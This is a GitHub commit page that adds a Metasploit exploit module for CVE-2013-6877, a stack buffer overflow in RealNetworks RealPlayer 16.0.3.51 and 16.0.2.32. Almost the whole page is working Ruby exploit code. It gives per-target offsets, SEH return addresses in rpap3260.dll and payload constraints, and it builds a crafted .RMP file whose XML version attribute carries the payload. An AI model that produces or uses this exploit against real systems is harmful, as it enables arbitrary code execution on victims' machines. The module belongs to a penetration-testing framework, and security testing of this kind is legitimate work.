Skip to content

Commit 90ce761

Browse files
committed
Land rapid7#2790 - RealNetworks RealPlayer Version Attribute Buffer Overflow
2 parents 2135567 + 367dce5 commit 90ce761

File tree

1 file changed

+90
-0
lines changed

1 file changed

+90
-0
lines changed
Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::FILEFORMAT
12+
include Msf::Exploit::Seh
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'RealNetworks RealPlayer Version Attribute Buffer Overflow',
17+
'Description' => %q{
18+
This module exploits a stack-based buffer overflow vulnerability in
19+
version 16.0.3.51 and 16.0.2.32 of RealNetworks RealPlayer, caused by
20+
improper bounds checking of the version and encoding attributes inside
21+
the XML declaration.
22+
23+
By persuading the victim to open a specially-crafted .RMP file, a
24+
remote attacker could execute arbitrary code on the system or cause
25+
the application to crash.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'Gabor Seljan' # Vulnerability discovery and Metasploit module
31+
],
32+
'References' =>
33+
[
34+
[ 'CVE', '2013-6877' ],
35+
[ 'URL', 'http://service.real.com/realplayer/security/12202013_player/en/' ]
36+
],
37+
'DefaultOptions' =>
38+
{
39+
'ExitFunction' => 'seh'
40+
},
41+
'Platform' => 'win',
42+
'Payload' =>
43+
{
44+
'BadChars' => "\x00\x22",
45+
'Space' => 532,
46+
},
47+
'Targets' =>
48+
[
49+
[ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.3.51',
50+
{
51+
'OffsetClick' => 2540, # Open via double click
52+
'OffsetMenu' => 13600, # Open via File -> Open
53+
'Ret' => 0x641930C8 # POP POP RET from rpap3260.dll
54+
}
55+
],
56+
[ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.2.32',
57+
{
58+
'OffsetClick' => 2540, # Open via double click
59+
'OffsetMenu' => 13600, # Open via File -> Open
60+
'Ret' => 0x63A630B8 # POP POP RET from rpap3260.dll
61+
}
62+
]
63+
],
64+
'Privileged' => false,
65+
'DisclosureDate' => 'Dec 20 2013',
66+
'DefaultTarget' => 0))
67+
68+
register_options(
69+
[
70+
OptString.new('FILENAME', [ false, 'The file name.', 'msf.rmp'])
71+
],
72+
self.class)
73+
74+
end
75+
76+
def exploit
77+
78+
sploit = rand_text_alpha_upper(target['OffsetClick'])
79+
sploit << generate_seh_payload(target.ret)
80+
sploit << rand_text_alpha_upper(target['OffsetMenu'] - sploit.length)
81+
sploit << generate_seh_payload(target.ret)
82+
sploit << rand_text_alpha_upper(17000) # Generate exception
83+
84+
# Create the file
85+
print_status("Creating '#{datastore['FILENAME']}' file ...")
86+
file_create("<?xml version=\"" + sploit + "\"?>")
87+
88+
end
89+
end
90+

0 commit comments

Comments
 (0)